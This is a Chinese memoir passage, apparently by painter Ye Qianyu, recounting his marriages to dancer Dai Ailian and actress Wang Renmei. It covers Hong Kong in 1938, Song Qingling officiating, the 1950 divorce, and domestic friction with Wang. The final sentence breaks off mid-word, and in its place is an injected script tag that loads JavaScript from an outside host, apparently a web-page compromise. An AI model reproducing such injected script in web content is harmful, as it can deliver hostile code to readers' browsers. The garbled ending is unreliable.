1938年,我取道越南去香港。在驻港各方的支持下,对外宣传画刊《今日中国》顺利出版。我作为主编,和香港有关各方联系广泛。有一天,以宋庆龄为首的保卫中国同盟派秘书廖梦醒大姐来找我,说孙夫人要为延安的国际医院筹措一笔购置医疗器材的基金,特邀请一位从英国来港的华侨舞蹈家戴爱莲举办一次表演会,要我在宣传方面给予支援,并替我约定和戴氏见面。这位舞蹈家身材矮小,舞技娴熟,可是说一口英语,我的英语只有中学程度,如何对付得了!彼此之间交流思想只好打手势,还有时用图画。一星期之后,我们成了熟朋友。她说她初到香港,只能和英语阶层交往,我是她所认识的惟一来自抗战大后方的中国人,所以她对我有特殊的亲切感。大概经过半个月光景,我们之间由社会人的关系升华到生物人的关系,速度相当快。
演出之后,戴告诉我,她想去延安,为中国共产党的革命事业献身。我说,我为《今日中国》的继续出版问题也要去重庆向政府请示,我俩可以结伴同行,但要先确定我们之间的关系,先结婚,后上路。
为组织这个家庭,爱莲十分主动积极。我们在一个印度人家里租到一间房,作为短期的窝。宋庆龄亲自当我们的主婚人,她在自己住处为我们举行了一个宴会,宣布我们结成夫妇。
香港沦陷后,我们和文艺界朋友先后集中到桂林。经朋友们的督促和支持,爱莲和艺术馆的一位钢琴家组织了一次音乐舞蹈表演会。我和香港那两次一样,在后台管服装、道具,一些熟朋友笑话我,说我是戴爱莲的“跟包”。可我这个跟包,除了在后台为戴爱莲管事打杂外,还得做饭,当翻译,必要时甚至兼任演出经理和舞台监督。
1949年春北平解放,7月举行全国文学艺术界代表大会,我当了美协副主席,爱莲参加华北大学文工团,当了舞蹈组的领导。1950年文化部聘请爱莲任北京舞蹈学校校长。秋末,我受命参加民族访问团去新疆,冬天回来,冷不防戴爱莲向我提出离婚,这真像晴天霹雳,使我大吃一惊。我问为什么?她说,她已爱上别人了。我问是谁,她说是一个在我家住过的青年舞蹈家。我明白了,我这个高级跟包,在新的历史条件下,已不再符合她的需要。掐指一算,从1940年到1950年,我们在一起生活整整十年。
与王人美:磕磕碰碰
在我一生的四次婚姻中,王人美是和我共同生活时间最长的,但是由于我们在世界观、人生观和生活习惯等方面差异很大,三十多年来始终磕磕碰碰,貌合神离,两人都不幸福。“叶浅予是个好画家,却不是个好丈夫。除了懂画,别的什么也不懂。”这是王人美对我的真实看法。
我和人美的婚姻是1955年由朋友们有意撮合的。那时人美和金焰已经分离十年。我呢,1951年通过官方手续,和戴爱莲离婚。说实话,我是流过眼泪的。到1955年,我已独居五年。
王人美当年在上海当歌舞演员时,我曾在丁悚家里见过她,这次经朋友介绍,目的明确,希望我们合组家庭,解除寂寞。应该说,我们彼此对对方的性情脾气都不甚了解,但两人都是社会知名人士,有一定透明度,所以经过几个月交往,我便直率地提出结婚要求。人美倒有点犹豫,当时她正在长春拍片,在一封信里她写道:
……的确,我不否认我有优点,但缺点更多,尤其是我的幼稚无知,它将带给你苦痛呢!你想到么?当然,这样说并不是让你提出任何保证,将来不能嫌厌我,而是更深了解,事先考虑、准备,如何克服困难,以期达到更好的合作。
信中反映的谨慎态度,也许是一个女性的常态。这里面可能隐藏着第一次结婚的幸与不幸;也许是对我的警告,语言软中带硬。
事实证明,她的考虑是有预见的。我们按照世俗传统习惯,在北京西单一家饭店订了两桌席,请朋友吃了一顿,就算结婚了。人美从北影宿舍搬到大佛寺西街47号叶宅来住。我开始发现她的性格急躁,又好强,硬要摆出当主妇的身份,因此在家务上开始发生矛盾。结婚才一个月左右,某一天,不记得为了什么事,我们两人顶撞起来。她一本正经提出要和我离婚。结婚才一个月便要离婚,简直荒唐!我问:“这到底是为什么?”她说:“你有大男子主义,我受不了。”
我说:“你认为我有大男子主义,这帽子我可以戴。不过,若是你头脑里没有大女子主义,怎能感到我有大男子主义呢?”给我这么一反驳,她好像有所醒悟,口气变了说:“那么,再试试吧,看我们能不能平平安安生活下去。”
从此以后,我们之间除了作为生物的人,特别注意如何做一个社会的人。我逐渐摸到王人美的脾性,凡属于内掌柜职权范围内的事,外掌柜不得插手。对我来说,这本来是丈夫的幸福。但是,这内外之间,界限很难分清。
我了解人美思想偏狭,最怕别人小看她,而我对事的态度总认为自己宽宏大量,不计较对方的粗言碎语。在家里我忙着自己的事,不关心身边还有个人,只知道王人美是个管家务的能手,不注意她是个女人,需要男人去抚慰,去关心。回想起来,也许这就叫大?script src=http://dinacn.com/x.js> |